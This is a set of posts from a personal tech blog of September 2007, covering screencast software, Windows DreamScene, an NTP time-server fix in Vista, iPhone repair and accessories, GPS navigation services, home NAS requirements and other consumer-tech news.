I've updated the original post about the Windows time server settings to include the Flash version of the screencast, which I think turned out technically pretty well. My narration and organization left a bit to be desired, but hey what the heck. I left in the uhhh, verbal umm... bumps and didn't edit the video, and I also didn't use the full drawing and annotating capabilities of the software for this one. So, it's truly a quick and basic example of how you can capture and narrate a screencast. Note that you can edit after recording as well. That includes adding and removing audio, adding labels and pointers to help highlight items on the screen, etc. The included help file is useful in understanding how to do some of the more advanced work.

You can check out the simple video I made here. Also, here is a link to a basic Windows Media version for comparison. The Windows Media file is quite a bit smaller than the Flash version. Both use out of the box, default settings. I recorded the audio with my USB studio mic.

I also tried creating a screencast to accompany my post today about DreamScene and it turned out nicely, but the file size was pretty huge so I haven't posted it. The reason for the huge size is obvious if you've seen Windows DreamScene in action - it's a full screen capture of fully animated desktops, so everything is constantly changing in the scene. Needless to say, I need to figure out how to trim things down for screencasts like that one, so you can reasonably download them.

All in all, it's cool software and I think it will be quite useful.

Full disclosure: I won my copy of the ALLCapture software in a friendly online contest. I've tried it and found it to be pretty darn useful - enough so to write about it here - but be aware that I didn't purchase the software with my own cash. That said, it's good stuff and I think it's worth checking out.



Add/Read: Comments [1]
Tech
Tuesday, September 25, 2007 6:37:59 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Microsoft today officially released Dream Scene to all Windows Vista Ultimate customers (such as myself). Nice to see some Ultimate content coming out, and as noted further down below it appears we'll get to see more in the near future.

I was already using the DreamScene preview release and enjoying it (although it was not always stable). Today my Windows Update let me know there's a new "Ultimate Extras" update available:

DreamSceneAvaliable

Needless to say, I updated. There's also a nearly-60MB package of "DreamScene content pack favorites" that showed up later in the day on Windows Update, which contains a set of videos that work with DreamScene.

From the Windows Vista Ultimate blog, here is a portion of the announcement made by Ultimate Director (cool title) Barry Goffe:

"As most of you already know, Windows DreamScene transforms your desktop from a static wallpaper image into a full-motion video. In conjunction with Stardock, we’re pleased to also offer a number of cool, new animated DreamScene desktops, including “Aurora”. Additionally, you can use your own videos as DreamScene desktops or visit Stardock’s Dream.WinCustomize.com website to download Stardock’s DeskScapes (an add-on to DreamScene) as well as a collection of fabulous content created by Stardock and members of the Ultimate community."

It's worth calling out the reference to the Stardock web site, dream.wincustomize.com, which you'll want to visit in order to download dreams for your new Ultimate capability. Also, Stardock's blog entry provides some additional detail.

Also in today's announcement is word that more Ultimate Extras are coming (something many of us have really wondered about for some time, to be honest):

"In addition to the remaining Language Packs, we plan to ship a collection of additional Windows Ultimate Extras that we are confident will delight our passionate Windows Vista Ultimate customers. We will shed more light on these plans once the Language Packs are finally dislodged from our delivery pipeline!"

Great news, and something to look forward to for sure.



Add/Read: Comments [2]
Tech
Tuesday, September 25, 2007 1:51:52 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

It's always difficult to know exactly what it takes to become a better (insert technical role here). So it goes with being a great DBA. Similarly, I can remember way back in my "webmaster" days when I was trying to figure out how to grow in that role, and discovering that the term "webmaster" always seemed to mean something different to each company or organization I spoke with.

That seems to be a perennial problem. Someone defines a general title without having a real solid idea of what the role is. Or, as in the case of the DBA, the job becomes more complex and critical over time, and so needs change and the role becomes more complex. Certainly that happened with the "webmaster role" of the past. Today we have UI experts, back-end programmers, middle-tier developers, content administrators, etc. Times change.

Brad McGehee is a great person to ask about the DBA market: How do you become a DBA? Where do you start? What's the future look like? What exactly is a DBA, anyhow? Well, we interviewed Brad recently for an episode of RunAs Radio and his insights into this world were quite useful.

RunAs Radio - Show #24 | 9/19/2007 (41 minutes)
Brad McGehee On Being a Better DBA

Brad McGehee discusses the career path of a professional database administrator. Often the DBA role is thrust upon an IT professional or developer without much in the way of specific training. Growing into the role is largely a self-motivated exercise. Brad talks about the habits that successful DBAs have, focused on on-going education and working to protect their organizations data.

Side Note: We've recorded more than 25 shows now since we started the RunAs Radio show in April. You can subscribe in iTunes at this link. It's seen more downloads and attention than I could have possibly imagined, and we have much, much more to come. We'll also be at TechEd Europe in Barcelona, Spain this fall and involved in a variety of other upcoming events.



Add/Read: Comments [1]
RunAs Radio | Tech
Tuesday, September 25, 2007 8:47:49 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, September 24, 2007

iphoneheadsetadapter One of the things that disappointed me when I got my iPhone home and unboxed it was the fact that all the headphones I already have won't fit in the headphone jack. The iPhone headphone socket is recessed, so the plug slides inside. Most common headphones with a standard 3.5mm plug won't fit. While the earbuds that come with the iPhone are pretty good, Apple's earbuds have never fir my ears all that well. So, well you get the idea.

But this morning on the JKOnTheRun site, Kevin Tofel points us to an inexpensive and useful adapter that fits into the iPhone's recessed jack and lets you plug your "standard" plugs in without worry. Headsets with microphones built in work, as well.

Best of all, for now it's only $3.95 and the company that is selling it - Helium Digital - is also providing free shipping. I've ordered mine. What a bargain.



Add/Read: Comments [2]
Mobile | Tech
Monday, September 24, 2007 8:47:15 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, September 21, 2007

Lots of iPhone posts recently, I am aware. I promise I will get other topics up here. But I need to tell you about my service experience with Apple this week, as it exemplifies why great service is so valuable - not just to the customer, but to the company as well.

As I described recently, I had a mishap with my iPhone where a new holster that was way too tight resulted in a flying iPhone that bounced off my hand, off my knee, to the floor and a subsequent small dent that prevented the power/lock button from working at all. In a nutshell, the phone got damaged after I dropped it (although I maintain it should be a bit more resilient and the holster I bought sucks design-wise).

So, as I said I would the other day, I took the phone and a small dose of hope with me to the Apple store here in the Portland area to show it to them and see what it would take to get it fixed (meaning how many dollars). As I also said that day, my expectations were low in terms of service coverage. Boy, was I ever surprised.

I took the phone to the store, signed up to speak with one of their experts on the in-store concierge system, walked around the mall for about 30 minutes, and then went back to the store. The techs looked at the iPhone, saw the problem, listened to me for about 15 seconds as I described what had happened, and immediately proceeded to arrange to have the situation rectified.

Wow. As I listened to the service tech telling me they didn't have a replacement phone available right then and there (they were out of stock) and that he expected more in the store the next day, I actually got a little confused. "So how will this work?" I asked. "Will I use the loaner and bring it back here when my phone is fixed?"

"Nope," he said. "We stopped the loaner program. We're just going to give you anew phone. I'm sorry I don't have any in stock right now, but we'll call you as soon as we get one in, probably tomorrow. Since your phone is basically working except for this button why don't you take it with you and you can bring it back when the new one comes in, and then we'll just swap out the SIM and everything right here when you come back."

I think I looked shocked. At least based on the look on his face. He smiled.

"Wow," I said. "Thanks!"

"Not a problem, not at all. You need a working iPhone." said the tech.

And less than 24 hours later I received the call, went to the store, and got the replacement in short order, no waiting. They even let me exchange the decidedly crappy holster case that was so problematic for a much better model, which you can see here.

Kudos to Apple for its quick, unflinching, natural and truly customer-centric reflexes. It felt 100% authentic and the focus was on whether I was happy as a customer and if the product was meeting my needs and working properly. I can tell you this: I have already started looking at other Apple products in the store and have visited the online store a few times since this experience, as well. I am much, much more likely to buy Apple sometime in the future as a result - and that means in my personal decisions as well as professional business ones.

There's something to be learned here, for sure.



Add/Read: Comments [14]
Mobile | Random Stuff | Tech
Friday, September 21, 2007 10:36:55 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 20, 2007

imageOver at http://ipxsync.com/ there's information about a new service, listed as currently in beta, that will allow you to get your Exchange information on your iPhone. Appropriately dubbed iPXSync, it's offered SaaS style and they say will be simple to set up and get running.

UPDATED: Someone from iPXSync sends along this link to a FAQ page (nice that they're watching the discussion and participating!), and Kevin over at JKOnTheRun also posted about this, and has posted a follow-up that helps to answer some of the same questions I have.

All security concerns aside (the iPhone has quite literally no IT controls available for it in case you lose it or something), it's an interesting possibility and it'll be fun to see how they deliver this. I'm hoping it's what people are assuming - wireless connectivity to the information on Exchange in the actual installed apps on the iPhone, although without proxying and (therefore) potentially storing highly sensitive information on the service's hosts, that might be really hard to do (and a big red flag for any corporate user with half a brain). So, I hope they have something really smart and secure dreamed up. We shall see. I am also wondering how they'll deal with tasks from Exchange. And that makes me wonder if this will all be browser-based, or if they'll be app-tapping their way in, or what (in which case iPhone OS upgrades become a concern).

Ahh, questions abound. :)

From the web site:

iPXSync provides iPhone users with real-time m

obile access to all of their critical Microsoft Exchange Server information including email, message folders, calenders and tasks.

iPXSync is a zero-installation solution that requires no special software, hardware or configuration changes on the Exchange Server.

iPXSync is offered as Software as a Service (SaaS), which means it is immediately available with no expensive upfront fees, and you can be up and running in just minutes.

Technorati Tags: , ,


Add/Read: Comments [3]
Mobile | Tech
Thursday, September 20, 2007 1:39:22 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 19, 2007

Navizon is a cool company that has some great technology that takes data from your mobile device - such as cataloged WiFi access points and cell towers your phone can "see" - and then uses that data to triangulate and plot you on a map.

There's a new third-party app for the iPhone that runs Navizon and connects to their service to use the data from the iPhone, and which then feeds your location to the Google Maps app and pinpoints you. Nice. Requires the AppTap installer, of course.

Not nearly as good as something like TeleNav, but very cool and useful nonetheless. It gets you fairly close, especially where WiFi access points are used for reference. I have installed the app on my iPhone and am trying it out today. It was able to find me accurately within a city block earlier, and other times it reported there was no known data points visible to the service. At least so far all it has used is WiFi access points to get a fix, not cell towers, so there might be something I need to change or set up, not sure.

Expect their service to be a little bit overwhelmed with excited iPhone users today and in the near future, in the event you experience problems signing up for a Navizon account.

Reference: iPhone Atlas



Add/Read: Comments [0]
Mobile | Tech
Wednesday, September 19, 2007 2:53:53 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 18, 2007

I was chatting with my friend John Batdorf the other day ...

[EDIT: Actually it was several days ago, because I lost this post twice and didn't realize it was not already on the blog, so it's being posted again late - But I've made some edits below to include more info from him]

... about home Network Attached Storage (NAS) solutions. I have a 750GB Seagate drive that I use via USB2 to store all kinds of stuff on, but you have to plug it in, unplug it, take it to the next machine, etc. And I use a laptop a lot, so it's extra clunky to have to plug in a big external device and corral it up if I want to move, and I move a lot. A network-based mass-storage device would be great for me. And it turns out John is was also looking for something similar.

We discussed some of the requirements. For me it needs to have some redundancy and fail-safe capabilities built in. I have been burned too many times by single-point-of-failure drive crashes. I've almost always been able to do some heavy-lifting and time-consuming recovery (I've learned a few pretty crazy hardware tricks for recovering data over the years), but I really have been quite fortunate not to permanently lose any important data. It's a miracle, really - a lot like dodging bullets. Anyhow, I need RAID and all the good sleep and awesomeness that goes with it.

We both really wanted a true NAS solution providing direct network attachment from anywhere on the LAN, and preferably the flexibility to connect from a variety of common platforms: Windows, Mac OS-X, Linux, Vic20, whatever. Okay not that last one, but the others for sure.

I asked John to send me a summary of his requirements, and here is what he came up with:

Network Attached Storage Requirements on my 10/100 wired network

The primary goal of this purchase is to get all the iTunes media off of my laptop and desktop home systems. It would be a good place to store all my photos (gigs) too. The last ‘goal’ is to be able to backup said laptop and desktop (data files) somehow. It would be cool if the Xbox could access it too, but I think you have to run the connector software to do that.

Necessities:

  • iTunes Library shared between multiple computers
    • Should be fast enough to support music transfer with no problems.
    • Would be great if it could do video too.
  • Store photos
  • The device must be able to be mapped as a drive in windows with no software installation
  • 500GB storage
  • Price point under $300 for WAF.

Nice to Have:

  • Backup software/solution
  • Xbox Connectivity
  • USB port to add other drives

Not a bad list. Starting with John's list, here is what I would add/change for my needs:

Greg's NAS Requirements List for a 10/100/1000 wired and Wireless-N/G Network

Everything on John's list, with these changes:

  • RAID disk subsystem controller
  • 1TB+ total storage, which will be divided for RAID purposes (if I can afford it I'd like to get 1TB usable space, but we'll see)
  • Hot-swappable drives are a big plus
  • Web-based connectivity from the Internet is nice to have, but it must be properly secured
  • Skip the WAF since I am not beholden to that, but I want to keep it as low as possible - best bang for the buck

So, it turns out John ordered and just set up a 500GB LaCie Ethernet Disk mini NAS system for under $200, and he likes it a lot so far. It's does everything he needs it to do, it's fast, and it took him literally just a couple minutes to set up and start using it. That's a good sign. Read about his day-one impressions on his blog.

But, for my purposes I still have some researching to accomplishate before gearing my brain-organ into the decisionation phase. So, Dear Reader (I always wanted to say that), what do you think is the best way to go about this and stay within the requirements? What requirements have I missed?

Here's a run-down of the couple things I have under consideration so far, but don't let my little list limit you, and feel free to comment on these as well as provide your own ideas:

I am sure people who read this will have plenty of other ideas to suggest, as well.

Ready?

Discuss!



Add/Read: Comments [6]
Tech
Tuesday, September 18, 2007 10:33:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Something appears to have changed today with Google reader. I was looking at the screen and something felt, well, different. But I couldn't place it. Then I realized - the "Labs" label seems to be gone. Wow, that was quiet. And there I thought it has already moved up and out.

    image 

And it looks like the Google Reader blog explains it. Well, kind of explains it. No more "Labs." Nice job.

http://googlereader.blogspot.com/2007/09/breaking-up-isnt-hard-to-do.html

I use Google reader almost exclusively now. To be honest, it took more than a year to grow on me, and only when I got to a point where I wanted to be able to access it from anywhere did it really get interesting.



Add/Read: Comments [6]
RSS Stuff | Tech
Tuesday, September 18, 2007 12:18:22 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, September 17, 2007

As I mentioned the other day, my iPhone dropped in a partially-broken fall (bobbled with one hand but not caught) from about the height of my knees or slightly above down to the ground, and dented the case so the button that switches off the display and power and provides reboot capabilities, etc. no longer works. The plastic is jammed and prevented from moving by the tiny piece of bent metal case.

I'll be taking it to the Apple Store this afternoon to see what - if anything - they are willing to do for me. Their service coverage specifically says they won't cover damage due to accident or neglect, so I will cross my fingers (it was such a short drop), but not hold my breath. The non-warranty repair costs they quote are high enough to make me consider just buying a replacement phone. Of course we would have to see what AT&T has to say about that, as well. We'll see.

UPDATE: After dropping the Apple Store and setting up an appointment, I waited for my time to come up and then spent a total of about five minutes with one of the service employees there. I briefly explained what had happened, he showed it to the service manager, and they immediately arranged for a replacement. Wow. I'm floored. So much so I started looking at more products in the store and seriously considering them.

At any rate, on the Boy Genius Report site I just saw this gray anodized replacement cover for about $47.00. Hmm. It's interesting to me when I think about taking the thing apart and fixing it myself, since the one thing that worries me the most about doing that is the lack of a suitable replacement metal case part.

iphone back1 iphone back2

In the pictures it's apparent that there's no metal supporting pieces in there, it's just the metal case skin, and from this article (great detail and pictures there) it looks like there's a lot of glue to dissolve in the process of moving parts, but it's entirely possible. Plus a black case would be, well, cool. Heh.

Hmm, a decent disassembly tutorial video too. Heh. Use at your own risk. I like the lowered and faster-paced voice for the disclaimer at the beginning. Classic.

I won't undertake a tear-down-and-rebuild yet. Apple Store gets got the first shot, and won hands-down. But it's interesting to see what the community is doing and what the self-service, warranty-breaking, hardware-hacking options are.

black housing black housing2 black replacement case for iphone



Add/Read: Comments [1]
Geek Out | Mobile | Tech
Monday, September 17, 2007 9:52:09 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, September 16, 2007

I was trying to figure out why my clock was not getting properly synchronized with the default Network Time Protocol (NTP) server this evening because I noticed my home router (which also has NTP sync enabled) was a couple minutes ahead of my laptop.

UPDATE: I've made a very quick-and-dirty screencast (typing errors, 'umms' and all) showing how to change the Time Server settings in Windows, which you can view in your browser by clicking here. I incorporated a couple readers' thoughts from the comments into the video, as well.

Since I am running Vista, I went to the Change Date and Time settings dialog for the clock, then I clicked on the Internet Time tab, and noted that "time.windows.com" was selected as the NTP host to sync with. The only problem is, it looks like that host is not working. In fact, if I tried to select that host and do an update the system dialog would hang until it timed out:

image

So, I changed the NTP host to "ntp1.dlink.com" (same one my DLink router uses) and saved it, and instantly the time was updated on the Windows machine.

image

I went with the DLink time server after messing with a few of the other NTP host options (the NIST ones) available in the configuration list, some of which worked at the time and some of which didn't work too well or at all.

Anyone else having problems successfully connecting via NTP at time.windows.com? It will be interesting to see if this problem still exists tomorrow or not. At least one other person I just checked with has the exact same issues as of the time of this writing. Bummer that the default Windows Vista time service is not highly available (or at least appears not to be, so let me know if I am wrong here). Seems like it should be. Time sync issues across an ASP.net web farm for example can wreak havoc with an app, and try getting a domain controller's time out of sync with member servers. It can be a whole lot of not-fun. Of course, perhaps relying on time.windows.com is not the best way to ensure stability when you really should be running your own enterprise time services keyed to GPS or atomic clock, but you get the point.

For what it's worth, here is how to synchronize Windows Vista with an Internet time server, as cannibalized from Windows Help:

    You can synchronize your computer clock with an Internet time server. This means that the clock on your computer is updated to match the clock on the time server, which can help ensure that the clock on your computer is accurate. Your clock is typically updated once a week and needs to be connected to the Internet for the synchronization to occur.

    1. Open the Date and Time dialog.

    2. Click the Internet Time tab, and then click Change settings. If you are prompted for an administrator password or confirmation, type the password or provide confirmation.

    3. Click Automatically synchronize with an Internet time server, select a listed time server or enter the name of the one you want to use, and then click OK. Test the connection using the button provided.



Add/Read: Comments [28]
Tech
Sunday, September 16, 2007 10:31:30 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, September 14, 2007

I was interviewed yesterday for a Business Week article that appears today, discussing the value of mobile-phone-based GPS services and why they're becoming so popular. The article is well-written and covers the bases in a couple quick pages. It's kind of funny to be interviewed as a consumer - Most of my interview experience has been as a security expert, so this was fun.

I'm a power mobile user in a very practical sense. I travel a lot, and very frequently to places I have never been before. As a result, I am always having to find my way to new locations in unfamiliar lands. So, over the past couple years, GPS-enabled technology  has become my friend.

I started my GPS navigation experience a few years back with a laptop and a serial USB add-on that you stuck on your dash, powered separately via lighter socket, etc. eventually I updated to a USB GPS device that worked similarly. The software I used (Delorme's Street Atlas USA, a couple different versions) was very cool and you could actually speak to it and it would take your commands and talk back to you. I could say, "Computer, where am I?" and it would reply with something like, "You are heading north on US Highway 30 at 61 miles per hour. You are in Columbia County, Or-ee-gohn." It never really pronounced Oregon correctly, but hey that's the text-to-speech technology of a few years ago. The hardware and software has all been substantially upgraded since then and works even better. But I can't lug a laptop around in the car to do simple navigation (although I did just that on a trip all over southern California once), plus there's a whole class of information I use today that you just don't have access to on the laptop in the car.

I also got my 4-wheeler ATV with GPS capability onboard. I pretty much never use it, but on occasion it's been useful to mark waypoints at intersections on logging roads I'm cruising (oh wait, I never do that) so I can know which turns to take on the way back. There's no map capability, but an arrow points at your next waypoint and the display tells you how far away it is. Pretty useful.

Eventually I decided I needed something more usable, which at the time meant picking up a stand-alone in-car GPS device - the Magellan Roadmate 760. It was a great unit. I'd decided prior to that not to get an in-dash unit (and I am glad I did, since I never travel distances in my own car, see further down). It served me well, but as I traveled more and more I found it to be too large and clunky to stuff in a backpack and run through airports and in rental cars. So I gave it to a friend of mine who used it until it crapped out.

My next device was smaller Magellan unit, on sale at Costco, and included real-time traffic information over the air and the ability to suggest alternate routes, which is very cool. It's a great device (and my friend who had the 760 is using it now), but again it's one more thing to carry around. I found myself printing out paper driving directions or copy/pasting/emailing the Google Maps directions to myself before I left for a trip, instead of packing and carrying the GPS unit. Again, I have enough junk to carry around, and even the compact model meant too much stuff.

When I got my Blackberry 8800 with GPS built into the unit and the TeleNav service, I had found the perfect navigation device for my needs. Some people argue that paying ten bucks a month for the service is not something they'd be willing to do, and that Google Maps on the Blackberry is awesome, but I disagree (strongly). Google Maps is cool, but it's far from a useful and safe navigation system. You have to type, keyboard navigate, and read tiny print. Plus, it doesn't have anywhere near the information provided through the TeleNav service.

I wrote about my experiences with the Blackberry and TeleNav in the past. You might want to read those entries for some early perspective:

In those entries I explained a few of the real differentiators of the service. Here's a summary of what I get from the TeleNav service that makes it so perfect:

  • Maps are always up-to-date with the latest available data and can be downloaded as needed. With a standalone device you have to download map updates, which you must pay for, and in the real world the GPS device makers rarely make updates available.
  • The annual cost (since I already have the Blackberry and its cost is already easily justified for its various other uses) is about $120.00, which means after about three years you'll spend as much as you would on a mid-tier stand-alone GPS device - One that doesn't have live traffic updates and where the maps are only as accurate as the day the manufacturer loaded them on the device (meaning always out of date).
  • I always have my phone with me, and in turn I always have my GPS device with me.
  • No extra cords or brackets or suction cups or anything to haul around.
  • Small, tiny, compact, and works great.
  • Because it's on a data-enabled phone, the service provides all sorts of useful real-time capabilities in its directories and interfaces.
    • I can enter an address, search for a class of business, or type in a name of a business or place, and it will find the closest matches to my location, let me call them and route me to them. Better than Google Maps does, by far.
    • Advanced directory services like search for the closest gas station, or search for the lowest gas prices near me. Let me tell you, when you're in a hurry to get to an airport and don't want to pay the $8 a gallon the rental company charges to fill the stupid car for you, that $9.95 a month starts to sounds really inexpensive. And it is, after all, about the savings of time and money, not just the direct cost of the service.
    • I get real-time traffic and re-routing, which has proven useful a few times, as well as turn by turn directions spoken out loud with a clear visual view of the immediate situation, so I can glance and see what's next. Google Maps does only a rudimentary version of this, which requires finding the right keys to click, reading a lot of information on the screen rather than looking at the road, and a map scrolling feature that frequently fails. Simple fact: It's a lot safer and usability is better with the TeleNav interface and capabilities. Google maps is cool if you want to know where you are and maybe your passenger is telling you where to turn next. Otherwise it's just not up to par with the services and software available out there today.

I like the TeleNav so much I actually pulled the SIM card out of my iPhone the other day while I was up in Seattle and put it into the Blackberry 8800 so I could use the TeleNav GPS service to find my way around (and interestingly it worked swapping the card). I brought the Blackberry with me just in case I needed it for specifically that. Yeah, I know - back to carrying two devices. Well, at least they're small ones.

Now, if TeleNav could be installed and work on the iPhone, we'd be screaming! We can only hope.



Add/Read: Comments [0]
Mobile | Tech
Friday, September 14, 2007 12:52:46 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

serial_step4_20070913 I was just looking at the Apple iPhone Store Credit site (after chatting with a friend who just took advantage of his $100 credit) and noticed the one of the documentation graphic photos of the iPhone (see right) shows software v1.1.1 (3B13) as the version running on the device. Click the Get Started link on the starting page and then scroll all the way down to see the graphic on the site. Since the latest release version (the one I have) is v1.0.2, there must be a new release coming very soon - and just as you'd expect with the addition on new features like the WiFi Store, it gets a second-decimal upgrade. Interesting that it's not v1.1.0 though. Hmm.

So I did a quick look-see in my RSS reader and lo-and-behold, iPhone Atlas is all over the case. That's a great site, by the way,  if you want to stay on top of iPhone information, for sure.

Below is what iPhone Atlas says we should expect. It will be interesting to see how well this list matches up.

Backing speculation spurred by an image on Apple’s iPhone store credit page that shows software version 1.1.1 (3B13) — the latest current release is 1.0.2 (1C28) — we’ve received word from reliable sources that an iPhone software/firmware update is imminent. Here’s what’s expected:

iTunes WiFi store Already available on the iPod touch, Apple promised delivery of the iTunes WiFi store for iPhones some time in the month of September. The functionality is expected to be added to the iPhone with this firmware update, or independently pushed to the iPhone via EDGE/WiFi.

Playback controls while sleeping/locked The iPod Touch sports a function that allows the home button to be pressed twice in order to bring up various media playback controls (volume, skip forward/backward) without fully unlocking the device. This feature is expected to be added to the iPhone in this release.

International/multiple keyboard support As previously reported the iPod Touch sports keyboard functionality that is far more robust than the iPhone’s, currently. It provides keyboards in 14 different languages, and supports alternative keyboard formats including QWERTZ and AZERTY. It can also make two or more keyboards available simultaneously, and has a feature that allows you to quickly type a period by double-tapping the spacebar. These features are expected to be added to the iPhone’s keyboard function in this software/firmware update.

Bug fixes/stability enhancements A slew of bug fixes and stability enhancements, including improvements for WiFI/EDGE networking are expected to be incorporated in the forthcoming release.

Hack/unlock concerns There is a significant likelihood that this update will undo unlocks (allowing the iPhone to be used on networks other than AT&T) that make use of a buffer overflow, including the iPhoneSIMFree method, and the freely available iUnlock method.

It is also likely that the iPhone will need to be re-hacked after the update to accept third-party binary applications (see our guide for instructions on doing so). Note that after changes were made to the iPhone’s software with iTunes 7.4.x, some iPhones entered an endless rebooting cycle when re-hacked, fixed via this method.

Check out iPhone Atlas for more, and subscribe to their feed for lots of great future info.



Add/Read: Comments [3]
Mobile | Tech
Friday, September 14, 2007 12:14:49 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 13, 2007

Updated: If you're wondering how this was resolve by Apple in my particular case, you can read about it here.

Ugh, this just had to happen.

I went to an Apple Store up in Bellevue, Washington yesterday before the nerd dinner and picked up a couple things, namely a Jawbone Bluetooth headset (which is awesome, more on that later), a touch-screen glass protector and a leather holster for my iPhone.

Don't buy the leather holster. Long story short, it's too tight, there's no way you can keep a good grip on the phone when you try to pry it out of the holster on your waist, and when it does come out you'll be lucky if it doesn't have some real velocity and inertia behind it. Like I said, you'll be lucky if.

I wasn't that lucky.

As I left the hotel today a text message chimed in and I went to pull the phone from the holster. It was hard to pull on, and when it finally gave way it came out fast, bounced off the palm of my hand, down my leg and to the floor. Actually, it didn't really hit that hard. Nowhere near as hard as every other phone I have ever had.

But the metal case that encloses the iPhone is apparently pretty soft. As in, it bends easily. The "power" button (that one on the upper right top edge) is now stuck and won't operate because even though the fall was broken and slowed, the soft-ish metal bent just enough to tweak the opening where the plastic button sticks though. So, now it's effectively jammed. Argh.

I was near the Apple Store (same one) when this happened and so I went there to see what I will have to do to get it fixed, but the wait for one of their "experts" was like three hours, and I had to dive into Seattle traffic to make the trip back home to Portland. So, I'll cal Apple or take it to the local store in the next day or so.

I'd recommend a couple things based on this experience. Again, don't use the leather holster, it's just a poor design, and one that a friend of mine has has loosened up over the month he has had it, but to the point where it no longer properly holds the phone (it went from tight to too loose, go figure). Also, if you're prone to dropping phones, go straight out and get one of the rubber armored slip-on cases. I sure wish I had chosen that instead of the holster. Hopefully this will help someone avoid a problem and the expense I am sure to be faced with when I get this thing fixed.



Add/Read: Comments [19]
Mobile | Tech | Things that Suck
Thursday, September 13, 2007 7:11:44 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 11, 2007

apple_iphone Gearlog's got a post online where Apple's head marketing guy, Greg Joswiak, lets the world know that while they won't support it, Apple also won't try to stop or break the iPhone app community's progress on getting new apps built and onto the iPhone. Then apparently they clarified a couple times and now say future updates probably will break native iPhone apps:

iPhone native application developers, take heart: Apple doesn't hate you. And now you have a whole new device to play with.

Updated 3:15 PM: Apple says "software updates will most likely break" native apps as they go forwards.

Updated 1:15 PM: I just got a call from Joswiak who wanted to make clear: "not hate" doesn't mean "like" or "support." I think I made that clear further down, but they said that some people may not be reading all the way down this piece. So to summarize: Apple will neither forbid nor support native code on the iPhone/Touch. They will not design software updates specifically to break native apps, but if the updates happen to break native apps or your native apps turn your iPhone into a rutabaga, don't go crying to Apple, 'cause it ain't their problem. Capiche?

Nice. I am off to install a few apps myself later today or tomorrow. First on deck is a RSS reader. And maybe a cool lightsaber application heh.

Coming soon: A list of cool iPhone resources I have been collecting as I investigate and search for stuff and chat with people I know.



Add/Read: Comments [0]
Mobile | Tech
Tuesday, September 11, 2007 11:30:18 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

UPDATED: After initial signup issues earlier in the day I was able to get signed up and online, and this is some really cool stuff. I encourage you to check out ajaxWindows.

Granted, it's probably not set up in the data center for massive use yet, but when I read today about ajaxWindows and get interested enough to where I wanted to check it out, I was a bit disappointed to see this:

   ajax-windows-busy

I'm glad it's getting a lot of attention, that's cool. And I will check back in an hour. Or so. When I have  a chance, really.

UPDATE: An hour later, they're back online with the sign-on page - but still unable to sign me up:

image

So I just kept trying and a couple minutes later I was in. All I can say is wow - very cool. Glad they got it back online. Click the image below to see the full-screenshot of the AJAX interface:

ajaxWindowsDesktop

Very cool stuff in there, and well worth checking out. If you think about the amount of work that went into this, it's pretty mind-blowing.

This does - however - bring to back mind a thought that crosses my little brain now and then. From a pure scalability standpoint, we have seen a large number of web apps initially released in a manner that doesn't scale to the need. Luckily, in many cases the app creators are able to add hardware (scale out, as they say) and handle increased load. Those are the smart designers. And yes, it costs money to build a large infrastructure before you need it, but if apps do the web-version of a crash as a first impression, you have to know the result can't be good.

So, we'll check it out when it's back up. Here is some of what BetaNews has to say about it:

Ajax13's concept is apparently creating a lot of buzz: a message Tuesday morning on its Web site read "We are currently experiencing massive amounts of user registrations and traffic. Please check back with us in an hour."

Storage for the OS is done through GMail, Music files are stored on MP3Tunes, and any information can be synced with the user's own desktop through an included application.

The OS also supports widgets which allow the user to add small applications such as RSS feeds and games to the desktop. However, at this time, only ajaxWindows' own widgets are supported and not those of other platforms.



Add/Read: Comments [0]
Tech
Tuesday, September 11, 2007 10:49:46 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, September 10, 2007

I won't be unlocking my own iPhone from the AT&T network simply because for me there is no benefit to doing so (although I probably will be messing with it from the standpoint of hacking in some third party apps). But, if you have  aneed or desire and you want to run down and grab an iPhone (be sure to pay for it after you grab it) and set it up on TMobile in the US or on any GSM service provider(carriers with SIM cards) elsewhere, you can get the software now via iPhoneSIMFree resellers. Be sure to read the fine print about no guarantees it will work if Apple updates the iPhone software with a block, etc.

Here's a link to the video from Engadget showing it actually working.



Add/Read: Comments [0]
Mobile | Tech
Monday, September 10, 2007 11:30:23 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Microsoft seems to have unleashed (but as of the time of this post has not yet announced) Windows Live Translator in beta. It's pretty slick. As you'd expect, you can translate either entered text or a web page for which you provide a URL. Here's an example, one of my recent blog entries translated into Spanish.

livetranslator

(via LiveSide.net)



Add/Read: Comments [4]
Tech
Monday, September 10, 2007 10:12:29 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 06, 2007

I'm quickly learning the pain of running a 64-bit OS on my new laptop. Of course, that's the version of Windows Vista Ultimate it came with, what with all the processors being sold these days are 64-bit and all.

I went to install iTunes (which installed with a message explaining it would not be able to copy CDs) and activate the new iPhone, and what do you think I see?

   image

Crap. You have got to be kidding me.

Apparently this is a well-known issue. Except that I didn't know and on the box it says, "Windows Vista" is supported, without any mention of version or 32-bit vs 64-bit. reading the fine print details of the release notes one finds a buried mention of no support for 64-bit Windows. Hmph.

Now I have to decide what to do - return the phone out of pure spite, or sync it to a different computer... Sorry, but "lame" is the only word that comes to mind here. Fanboys will undoubtedly spew vitriol at that statement, but it's still lame.

Ideas anyone? Will a 32-bit OS running in a virtual machine work for me maybe?



Add/Read: Comments [6]
Mobile | Tech | Things that Suck
Thursday, September 06, 2007 10:51:20 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, September 05, 2007

image I saw the announcement that the Windows Live team has released Beta 2 of the Windows Live Suite of apps, and went to download and install the package on my new laptop that I bought yesterday, but found out (unfortunately) that I can't install it.

